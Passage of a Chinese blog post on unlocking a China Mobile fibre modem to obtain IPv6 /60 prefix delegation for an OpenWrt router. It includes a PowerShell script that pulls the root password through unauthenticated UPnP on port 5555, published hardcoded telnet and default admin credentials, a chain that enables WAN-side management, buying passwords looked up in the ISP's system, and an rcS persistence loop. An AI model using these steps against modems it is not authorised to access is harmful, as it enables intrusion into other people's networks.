       '<u:X_GetAccess xmlns:u="urn:dslforum-org:service:DeviceInfo:1"/></s:Body></s:Envelope>'

$soap = $soap -f $xml.Length
$request = [Text.Encoding]::UTF8.GetBytes($soap + $xml)

$client = New-Object System.Net.Sockets.TcpClient
$client.ReceiveTimeout = 8000
$client.Connect($ONT_IP, 5555)
$stream = $client.GetStream()
$stream.Write($request, 0, $request.Length)
$stream.Flush()

$reader = New-Object System.IO.StreamReader($stream, [Text.Encoding]::UTF8)
$response = $reader.ReadToEnd()
$client.Close()

if ($response -match 'NewX_RootPassword[^>]*>([^<]+)') {
    Write-Host "  Username : CMCCAdmin" -ForegroundColor Cyan
    Write-Host "  Password : $($matches[1])" -ForegroundColor Cyan
} else {
    Write-Host "[FAIL] No password returned - is UPnP enabled?" -ForegroundColor Red
}

如果UPnP未开启，会返回空的SOAP body（端口5555可达但所有action不返回数据）。

附：UPnP开启后telnet自动激活

实测发现，开启UPnP并重启光猫后，telnet端口23会自动开放，使用以下凭据可以登录并获得shell：

用户名: admin
密码: s2@We3%Dc#

登录后可进入BusyBox shell（#提示符），可以执行命令查看配置、修改设置等。这意味着即使TR-069后续重新随机化了超管密码，只要UPnP保持开启，你就可以随时通过telnet获取shell访问权限。

telnet开放的真正原因分析： 实测过程中，在UPnP开启后还额外调用了X_SetAccess（设置X_AccessWAN=True，开启WAN侧远程管理）和Reboot（远程重启光猫）两个action。因此telnet的开放可能不是UPnP本身导致的，而是这个组合链：

1. UPnP开启后，X_SetAccess action成功开启了WAN侧管理权限（包括telnet/SSH等）
2. Reboot action重启光猫，使配置生效
3. 重启后telnet端口23开放

也就是说，关键的触发条件可能是 X_SetAccess + Reboot，而不仅仅是UPnP处于开启状态。

附：UPnP漏洞的完整利用能力

除了获取超管密码外，端口5555的UPnP服务（无需认证）还可以：

虽然没有直接的命令执行action，但组合利用效果很强：先用X_GetAccess拿密码 → 开启UPnP → 用Reboot重启激活telnet → 用admin/s2@We3%Dc#登录telnet获得shell。

方法二：闲鱼购买（5元）

闲鱼搜索"光猫超级密码"或"光猫超管”，提供光猫SN码，卖家通过运营商网管系统查询，一般5元就能拿到。本质上就是装维师傅用的同一套OLT网管平台，用SN码查到设备绑定的动态密码。

方法三：找装维师傅

直接联系宽带安装师傅，他们手上有工单系统/网管平台，用SN码就能查到动态密码。有些师傅愿意给，有些不愿意。

方法四：恢复出厂+秒删TR-069

1. 记下LOID和宽带账号密码
2. 拔光纤
3. 捅Reset孔10秒恢复出厂
4. 密码回到默认值 CMCCAdmin / aDm8H%MdA
5. 立刻登录，删掉TR-069连接（防止密码被重新随机）
6. 插回光纤，用LOID重新注册

方法五：TTL串口（硬件方法，100%成功）

买个CH340/CP2102 USB转TTL模块（淘宝几块钱），拆光猫接TX/RX/GND三条线，波特率115200，开机进root shell，直接读配置文件里的超管密码：

1
2

cat /tmp/ctromfile.cfg | grep -i admin
cat /tmp/ctromfile.cfg | grep -i passw

进阶：从光猫获取正规的/60 PD前缀委派

如果你已经通过上面的方法拿到了光猫超管密码并开启了telnet，还有一个更好的方案——直接从光猫获取正规的PD前缀委派，不再需要NDP Relay hack。

发现问题

通过telnet查看光猫的配置，发现ISP实际上已经给了光猫一个/60前缀：

1
2
3
4
5
6

# 通过telnet登录光猫后执行
cat /var/run/ppp1/orgpd6
# 输出: 2409:8a28:6e2:1c20::/60   ← ISP给了/60！

cat /var/run/ppp1/pd6
# 输出: 2409:8a28:6e2:1c20::/64    ← 光猫自己只用了/64

ISP通过PPPoE给光猫委派了 /60 前缀，但光猫的DHCPv6 Server（dhcp6s）只把这个前缀委派给了一个硬编码的DUID，下挂的OpenWrt/ImmortalWrt路由器根本拿不到。

原因分析

光猫的 /etc/dhcp6s.conf（DHCPv6服务器配置）长这样：

option domain-name-servers fe80::1;
interface br0 {
         address-pool pool1 172800 259200;
};
pool pool1 {
         range 2409:8a28:6e2:1c20::1 to 2409:8a28:6e2:1c20::1000;
};
host cmcc {
        duid 11:11:11:11:11:11:11:11:11:11:11:11:11:11;
        prefix 2409:8a28:6e2:1c20::/60 172800 259200;
};

host cmcc 里硬编码了一个假DUID（11:11:11:11...），只有匹配这个DUID的设备才能拿到PD前缀。下挂的OpenWrt路由器DUID不匹配，自然拿不到前缀。

解决方法：修改dhcp6s.conf

第一步：找到OpenWrt路由器的DUID

在OpenWrt路由器上执行：

1
2
3

cat /tmp/hosts/odhcpd
# 输出类似：
# br-lan 00030001702ad7607720 0 - ...

DUID就是第二列的值，如 00030001702ad7607720。格式化为冒号分隔：00:03:00:01:70:2a:d7:60:77:20。

这个DUID是DUID-LL格式：0003=DUID-LL类型, 0001=以太网, 后面是WAN口的MAC地址。

第二步：通过telnet修改光猫的dhcp6s.conf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

# telnet登录光猫 (admin / s2@We3%Dc#)

cat > /etc/dhcp6s.conf << 'EOF'
option domain-name-servers fe80::1;
interface br0 {
        address-pool pool1 172800 259200;
};
pool pool1 {
        range 2409:8a28:6e2:1c20::1 to 2409:8a28:6e2:1c20::1000;
};
host openwrt {
        duid 00:03:00:01:70:2a:d7:60:77:20;
        prefix 2409:8a28:6e2:1c20::/60 172800 259200;
};
EOF

把 00:03:00:01:70:2a:d7:60:77:20 替换为你自己路由器的DUID。

第三步：重启dhcp6s

1
2
3

killall dhcp6s 2>/dev/null
sleep 1
/userfs/bin/dhcp6s -c /etc/dhcp6s.conf br0 -p /var/run/dhcp6s.pid &

第四步：在OpenWrt上重新请求前缀

1
2
3
4
5
6
7
8

killall odhcp6c 2>/dev/null
ifdown wan6
sleep 3
ifup wan6
sleep 15

# 验证是否拿到前缀
ifstatus wan6 | grep -A8 ipv6-prefix

成功的话会看到：

1
2
3
4
5
6
7
8
9

"ipv6-prefix": [
    {
        "address": "2409:8a28:6e2:1c20::",
        "mask": 60,
        "preferred": 172784,
        "valid": 259184,
        "class": "wan6"
    }
]

完整的PD链路

修改后的IPv6前缀委派链路：

ISP ──/60──→ 光猫(ppp1) ──/60──→ OpenWrt(eth1) ──/64──→ LAN设备(br-lan)

这是正规的DHCPv6-PD链路，比NDP Relay方案更稳定、更标准。

持久化注意事项

光猫的 /etc/ 分区是只读的squashfs，重启后 dhcp6s.conf 会恢复原样。需要持久化的话，可以把自定义配置保存到 /userfs/（可写的jffs2分区），并在 /etc/init.d/rcS 末尾添加监控脚本，在每次dhcp6s启动后自动替换配置：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

# 保存到持久分区
cp /etc/dhcp6s.conf /userfs/dhcp6s_custom.conf

# 在rcS末尾添加后台监控
cat >> /etc/init.d/rcS << 'EOF'
(while true; do
  if ps | grep -q "[d]hcp6s"; then
    if [ -f /userfs/dhcp6s_custom.conf ]; then
      if ! grep -q "openwrt" /etc/dhcp6s.conf 2>/dev/null; then
        cp /userfs/dhcp6s_custom.conf /etc/dhcp6s.conf
        killall dhcp6s 2>/dev/null
        sleep 1
        /userfs/bin/dhcp6s -c /etc/dhcp6s.conf br0 -p /var/run/dhcp6s.pid &
      fi
    fi
  fi
  sleep 30
done) &
EOF

注意：/etc/init.d/rcS 的可写性取决于具体固件版本，部分版本rcS在tmpfs上，重启后可能丢失。如遇此情况，建议联系装维师傅将光猫改为桥接模式，让OpenWrt直接拨号获取PD前缀，这是最彻底的解决方案。

总结

虽然方案不完美（海外IPv6不通、依赖ISP不做ND检查），但对于日常使用国内IPv6站点来说完全够用。

本文2026-06-20首发于猫猫鱼的小窝，最后修改于2026-06-20